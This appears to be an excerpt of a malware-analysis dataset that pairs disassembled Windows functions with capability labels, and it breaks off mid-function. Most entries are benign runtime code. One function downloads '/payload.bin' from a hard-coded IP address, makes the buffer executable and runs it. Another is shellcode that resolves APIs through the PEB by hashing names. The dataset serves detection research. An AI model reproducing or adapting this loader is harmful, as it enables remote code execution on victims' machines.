joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180021590
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0xa8]
add eax, 0x11fd
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0xb0]
xor eax, 0x26d3
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0xa8]
xor eax, 0x3dc5
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x90]
sub eax, 0x1121
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x98]
add eax, 0xbe8
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x98]
sub eax, 0x101
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x80]
xor eax, 0xcb0
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x90]
sub eax, 0x26d3
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x34]
xor eax, 0xae7
cmp dword [rsp + 0x2c], eax
jg 0x1800217e2
mov eax, dword [rsp + 0x20]
xor eax, 0xc3b
cmp dword [rsp + 0x34], eax
jg 0x1800216b1
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax + 0x88]
xor eax, 0x1663b7
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xa0]
imul ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0xa0], eax
mov eax, dword [rsp + 0x20]
add eax, 0x390
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xa0]
mov dword [rax + 0x64], ecx
jmp 0x1800217e2
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov eax, dword [rax + 0x44]
imul eax, dword [rcx + 0x48]
add eax, dword [rsp + 0x20]
cmp dword [rsp + 0x30], eax
jb 0x1800217e2
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x24], eax
jmp 0x1800216eb
mov eax, dword [rsp + 0x24]
add eax, 2
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x2c]
add eax, 0x48f1
cmp dword [rsp + 0x24], eax
jae 0x1800217e2
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax + 0xb8]
mov dword [rsp + 0x28], eax
jmp 0x18002172e
mov eax, dword [rsp + 0x28]
add eax, 3
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x90]
sub eax, 0x19a5
cmp dword [rsp + 0x28], eax
jae 0x1800217dd
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x2c]
or ecx, eax
mov eax, ecx
cdqe
mov qword [rsp + 0x50], rax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x88]
mov edx, dword [rdx + 0x18]
mov eax, dword [rcx + rax + 0xb8]
xor eax, edx
mov eax, eax
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov eax, dword [rsp + 0x2c]
xor eax, 0x229b
mov ecx, 4
imul rcx, rcx, 3
mov rdx, qword [rsp + 0x88]
add eax, dword [rdx + rcx + 8]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xb4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0xb4], eax
jmp 0x180021723
jmp 0x1800216e0
mov eax, dword [rsp + 0x30]
add rsp, 0x68
ret
Function at 0x140001000
Capabilities:
Prepare http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
movzx r8d, word [rcx + 0x28]
mov rdx, qword [rcx + 0x18]
mov rbx, rcx
mov rcx, qword [rcx]
xor r9d, r9d
xor edi, edi
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbx + 0x10], rax
test rax, rax
je 0x140001084
mov r8, qword [rbx + 0x20]
mov dword [rsp + 0x30], edi
lea rdx, [0x140008e60]
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbx + 8], rax
test rax, rax
je 0x140001084
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov eax, edi
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1400010a0
Capabilities:
Receive http response

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 8]
xor r12d, r12d
xor edx, edx
mov rbx, r12
mov esi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001151
mov qword [rsp + 0x50], rdi
mov rcx, qword [rbp + 8]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140001145
test rbx, rbx
jne 0x1400010ff
mov edx, dword [rsp + 0x40]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edi, dword [rsp + 0x40]
mov rcx, rbx
add edi, esi
call qword [sym.imp.KERNEL32.dll_LocalSize]
cmp rax, rdi
jae 0x140001128
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
mov r8d, dword [rsp + 0x40]
mov rcx, qword [rbp + 8]
mov edx, esi
lea r9, [rsp + 0x48]
add rdx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
add esi, dword [rsp + 0x48]
cmp dword [rsp + 0x40], r12d
ja 0x1400010d2
mov rdi, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r12
pop rsi
pop rbp
ret
Function at 0x140001170
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library

Disassembly:
push rbx
sub rsp, 0x30
mov ecx, 0x30
call fcn.140001358
mov rbx, rax
test rax, rax
je 0x1400011d2
lea rax, str.45.91.226.113
lea rcx, str.WinHTTP_Example_1.0
xor r9d, r9d
mov qword [rbx + 0x18], rax
mov eax, 0x118
xor r8d, r8d
mov word [rbx + 0x28], ax
lea rax, str._payload.bin
xor edx, edx
mov qword [rbx + 0x20], rax
xor eax, eax
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbx], rax
jmp 0x1400011d7
xor eax, eax
mov rbx, rax
mov rcx, rbx
call fcn.140001000
test eax, eax
jne 0x140001204
lea r8, [0x140008ea8]
lea rdx, [0x140008eb8]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
mov qword [rsp + 0x48], rdi
call fcn.1400010a0
mov rdi, rax
test rax, rax
jne 0x14000123f
lea r8, [0x140008ec8]
lea rdx, [0x140008ed8]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rbx
ret
test rbx, rbx
je 0x140001278
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001253
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140001262
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001270
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call fcn.1400012e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalSize]
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x40], eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
mov rdi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140001647
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000a058]
jne 0x1400012da
rol rcx, 0x10
test cx, 0xffff
jne 0x1400012d6
repz ret
ror rcx, 0x10
jmp 0x1400015a0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000b1a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14000b298]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001625
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000b1a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001647
mov rax, qword [rsp + 0x88]
mov qword [0x14000b298], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000b238], rax
mov rax, qword [0x14000b298]
mov qword [0x14000b110], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000b220], rax
mov dword [0x14000b100], 0xc0000409
mov dword [0x14000b104], 1
mov rax, qword [0x14000a058]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000a060]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000b198], eax
mov ecx, 1
call fcn.1400032e8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140007308]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000b198], 0
jne 0x1400016ce
mov ecx, 1
call fcn.1400032e8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001efc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140003990
nop
cmp dword [0x14000b6c8], 1
je 0x140001ea8
mov dword [0x14000b6c4], 1
mov byte [0x14000b6c0], r12b
test ebx, ebx
jne 0x140001e94
mov rcx, qword [0x14000c178]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140001e81
mov rcx, qword [0x14000c170]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140001e20
call fcn.140002e94
cmp qword [rdi], rax
jne 0x140001e20
jmp 0x140001e06
cmp rdi, rsi
jb 0x140001e81
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140002e94
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14000c178]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14000c170]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140001e5f
cmp r13, rax
je 0x140001e7f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140001e06
lea rdx, [0x1400072a8]
lea rcx, [0x1400072a0]
call fcn.140001c50
lea rdx, [0x1400072b8]
lea rcx, [0x1400072b0]
call fcn.140001c50
nop
test r12d, r12d
je 0x140001eb7
mov ecx, 8
call fcn.140003890
test r12d, r12d
jne 0x140001ee2
mov dword [0x14000b6c8], 1
lea ecx, [r12 + 8]
call fcn.140003890
mov ecx, r15d
call fcn.140001be4
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140001d70

Function at 0x140001f08
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140001d70
Function at 0x140004314
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140002e94
xor ebx, ebx
mov rdi, rax
cmp qword [0x14000bda8], rbx
jne 0x14000441a
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1400044ef
lea rdx, [0x140007ab0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400044ef
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000bda8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000bdb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14000bdb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14000bdc8], rax
test rax, rax
je 0x140004411
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14000bdc0], rax
jmp 0x140004421
mov rax, qword [0x14000bdc0]
jmp 0x140004428
mov rax, qword [0x14000bdc0]
mov r11, qword [0x14000bdc8]
cmp rax, rdi
je 0x140004490
cmp r11, rdi
je 0x140004490
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14000bdc8]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140004490
test rax, rax
je 0x140004490
call rsi
test rax, rax
je 0x14000448a
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000448a
test byte [rsp + 0x38], 1
jne 0x140004490
bts ebp, 0x15
jmp 0x1400044ce
mov rcx, qword [0x14000bdb0]
cmp rcx, rdi
je 0x1400044ce
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400044ce
call rax
mov rbx, rax
test rax, rax
je 0x1400044ce
mov rcx, qword [0x14000bdb8]
cmp rcx, rdi
je 0x1400044ce
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400044ce
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000bda8]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400044ef
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1400044f1
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x14002c5a0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14002c374
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002c374
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002c374
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002c374
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002c374
cmp dword [rcx + 0x84], 0xe
jbe 0x14002c374
cmp dword [rcx + 0xf8], esi
je 0x14002c374
mov ecx, r14d
call fcn.14002c4bc
mov ecx, 2
call fcn.14002fba8
nop
cmp byte [0x14006c668], 0
jne 0x14002c43e
mov r15d, 1
mov eax, r15d
xchg dword [0x14006c658], eax
test ebx, ebx
jne 0x14002c3e7
mov rdi, qword [0x140049860]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14006c660]
cmp rcx, rax
je 0x14002c3de
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.14000af10]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14006c798]
jmp 0x14002c3f3
cmp ebx, r15d
jne 0x14002c3f9
lea rcx, [0x14006c7b0]
call fcn.14002cf30
nop
test ebx, ebx
jne 0x14002c410
lea rdx, [0x1400385a8]
lea rcx, [0x140038588]
call fcn.14002d2b0
lea rdx, [0x1400385b8]
lea rcx, [0x1400385b0]
call fcn.14002d2b0
movzx eax, byte [0x14006c668]
test esi, esi
cmove eax, r15d
mov byte [0x14006c668], al
jmp 0x14002c43e
mov ecx, 2
call fcn.14002fc08
test esi, esi
jne 0x14002c455
mov ecx, r14d
call fcn.14002c470
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14002c304

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rcx
mov rdx, qword [rdx + 0x20]
push rsi
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140004b80
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140004bdd
lea rbx, [0x1400962a0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140004bc4
cmp r10, 2
jb 0x140004bc4
cmp byte [r9], r8b
jne 0x140004bc4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140004ba0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140004c1f
lea rbx, [0x1400962a0]
cmp r8b, 0x23
jne 0x140004c03
cmp byte [r9], r8b
jne 0x140004c03
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140004bf0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140004dd0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x20
mov rsi, r8
mov rbx, rcx
test rcx, rcx
jne 0x140004dff
mov r8d, 0x613
lea rdx, str.C:UsersNameDesktopFreeScript1imguiimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rsi, rsi
je 0x140004e0b
mov qword [rsi], 0
lea rdx, [0x140094190]
mov rcx, rbx
call fcn.140004c30
mov rbx, rax
test rax, rax
jne 0x140004e2d
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140004f04
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140004f04
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140004f04
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140004f04
cmp rdi, 0xffffffffffffffff
je 0x140004f04
mov rax, qword [0x1400aef60]
test rax, rax
je 0x140004ea1
inc dword [rax + 0x3b0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x140004f04
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140004ef1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1400aef60]
test rax, rax
je 0x140004ee6
dec dword [rax + 0x3b0]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140004f0d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x140004eff
mov qword [rsi], rdi
mov rax, rbp
jmp 0x140004f0f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
Function at 0x140007590
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x108]
mov rbx, rcx
mov edi, edx
test eax, eax
jg 0x1400075cd
mov r8d, 0x5d2
lea rdx, str.C:UsersNameDesktopFreeScript1imguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [rbx + 0x108]
movsxd rcx, eax
lea r8, [0x1400962a0]
mov rax, qword [rbx + 0x110]
mov edx, dword [rax + rcx*4 - 4]
not edx
movzx eax, dil
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x39]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3a]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3b]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov rax, qword [0x1400aef60]
xor edx, dword [r8 + rcx*4]
not edx
cmp dword [rax + 0x1c78], edx
jne 0x140007642
mov dword [rax + 0x1c7c], edx
cmp dword [rax + 0x1cb8], edx
jne 0x140007651
mov byte [rax + 0x1cbc], 1
mov rbx, qword [rsp + 0x30]
mov eax, edx
add rsp, 0x20
pop rdi
ret
Function at 0x140014440
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [0x1400aef60]
mov rsi, rcx
mov rbx, qword [rax + 0x1c20]
add rbx, 0x108
mov eax, dword [rbx]
mov edx, eax
test eax, eax
jg 0x140014492
mov r8d, 0x5d2
lea rdx, str.C:UsersNameDesktopFreeScript1imguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [rbx]
mov edx, eax
mov r9, qword [rbx + 8]
lea r8, [0x1400962a0]
cdqe
mov edi, dword [r9 + rax*4 - 4]
not edi
movzx eax, sil
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x34]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x35]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x36]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x37]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x140014577
lea ecx, [rdx + 1]
test r8d, r8d
je 0x14001455d
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x140014562
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.140029e80
mov edx, dword [rbx]
mov r9, qword [rbx + 8]
mov rsi, qword [rsp + 0x40]
movsxd rax, edx
mov dword [r9 + rax*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140014590
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rax, qword [0x1400aef60]
mov esi, ecx
mov rbx, qword [rax + 0x1c20]
add rbx, 0x108
mov eax, dword [rbx]
mov edx, eax
test eax, eax
jg 0x1400145e0
mov r8d, 0x5d2
lea rdx, str.C:UsersNameDesktopFreeScript1imguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [rbx]
mov edx, eax
mov r9, qword [rbx + 8]
lea r8, [0x1400962a0]
cdqe
mov edi, dword [r9 + rax*4 - 4]
not edi
movzx eax, sil
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x140014679
lea ecx, [rdx + 1]
test r8d, r8d
je 0x14001465f
